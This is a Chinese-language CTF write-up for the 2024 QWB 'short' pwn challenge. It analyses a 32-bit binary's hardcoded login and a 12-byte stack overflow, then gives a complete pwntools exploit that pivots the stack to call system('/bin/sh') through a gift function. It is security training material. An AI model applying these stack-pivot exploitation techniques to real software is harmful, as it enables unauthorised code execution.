2024强网杯pwn short wp

这时2024强网杯的pwn部分的short的WP

分析以下程序的基本安全措施

*] '/home/ysly/solve/tmp/short'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

除了NX其他都没有

接下来放到ghidra里分析以下漏洞,主要寻找read,gets,之类的输入函数

先看一下主入口逻辑,判断输入点

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 main(void)

{
  int iVar1;
  undefined *puVar2;
  
  puVar2 = &stack0x00000004;
  setbuf(_stdout,(char *)0x0);
  setbuf(_stderr,(char *)0x0);
  iVar1 = login(puVar2);
  if (iVar1 == 0) {
    puts("Login failed. Incorrect username or password.");
  }
  else {
    vuln();
  }
  return 0;
}

此处有登陆,只有成功之后才可以继续执行,所以为了有利用可能,去看看登陆逻辑

undefined4 login(void)

{
  size_t sVar1;
  int iVar2;
  char local_8c [64];
  char local_4c [68];
  
  printf("Enter your username: ");
  fgets(local_4c,0x40,_stdin);
  sVar1 = strcspn(local_4c,"\n");
  local_4c[sVar1] = '\0';
  printf("Enter your password: ");
  fgets(local_8c,0x40,_stdin);
  sVar1 = strcspn(local_8c,"\n");
  local_8c[sVar1] = '\0';
  iVar2 = strcmp(local_4c,"admin");
  if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
    return 1;
  }
  return 0;
}

很明显输入用户名admin,密码admin123即可登陆成功

在去vuln函数看看

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  undefined buf [76];
  
  puts("You are now in vuln! Please enter extra data:");
  printf("You will input this: %p\n",buf);
  puts("plz input your msg:\n");
  read(0,buf,88);
  return;
}

可以读入88个字节,单数buff有76个字节,所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节

但是这里是静态分析,只可以参考(实际上只可以覆盖到ret地址)

查看其他函数

发现一个gift函数

undefined4 gift(char *param_1)

{
  system(param_1);
  return 0;
}

如果可以控制参数,便可得到shell

下面动态分析

在vuln函数中

printf("You will input this: %p\n",buf);

泄漏了ebp地址,毕竟函数的变量都是ebp-x 来寻址的,所以buf的地址一定是buf - x , 而x是一个固定的指,于是可以泄漏出ebp的地址

from pwn import *

context.log_level='debug'
context.terminal='foot'

p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline()

#一些处理,获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)

# 静态分析buff地址是有一个0x50偏移,
ebp = raw-0x50

print("leak ebp",hex(ebp))

这里发现可以输入0x58个数据,从ebp-0x50开始输入

  0x8048660 <vuln+79>    push   0x58
 ► 0x8048662 <vuln+81>    lea    eax, [ebp - 0x50]       EAX => 0xffffc878 ---▸ 0xf7fc1440 ◂--- 0xf7fc1440
   0x8048665 <vuln+84>    push   eax
   0x8048666 <vuln+85>    push   0
   0x8048668 <vuln+87>    call   read@plt                    <read@plt>

于是我们可以控制leven 是ebp地址和ret是的rip地址

这里在想到了用栈迁移

因为前面gift函数,看一下汇编部分

   0x80485e6 <gift>:	push   ebp
   0x80485e7 <gift+1>:	mov    ebp,esp
   0x80485e9 <gift+3>:	push   ebx
   0x80485ea <gift+4>:	sub    esp,0x4
   0x80485ed <gift+7>:	call   0x80487e1 <__x86.get_pc_thunk.ax>
   0x80485f2 <gift+12>:	add    eax,0x1a0e
   0x80485f7 <gift+17>:	sub    esp,0xc
   0x80485fa <gift+20>:	push   DWORD PTR [ebp+0x8]
   0x80485fd <gift+23>:	mov    ebx,eax
   0x80485ff <gift+25>:	call   0x80484a0 <system@plt>
   0x8048604 <gift+30>:	add    esp,0x10
   0x8048607 <gift+33>:	mov    eax,0x0
   0x804860c <gift+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x804860f <gift+41>:	leave
   0x8048610 <gift+42>:	ret

在call system之前是将ebp + 0x8 作为参数的

在执行leven 和ret后,ebp和eip可以被控制

现在我们可以控制eip和ebp

于是我们可以伪造一个ebp使得epb+8指向/bin/sh

并且让eip去执行这个call,就可以得到shell

现在攻击链如下

1.劫持ebp,eip

2.找到/bin/sh

3.执行call system

因为之前通过泄漏知道了buff的地址,我们可以向buff写入/bin/sh,然后就一切顺利

以下是全部的wp

from pwn import *

context.log_level='debug'
context.terminal='foot'

p = process("./short")

p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline()

raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)


ebp = raw-0x50

print("leak ebp",hex(ebp))

sh_addr =0x0804a038

fake_ebp = raw -8


payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)

#gdb.attach(p)
#pause()

p.send(payload)
p.interactive()

在程序中存在/bin/sh字符,为什么我不用呢

因为我用过,打不通,暂时不清楚为什么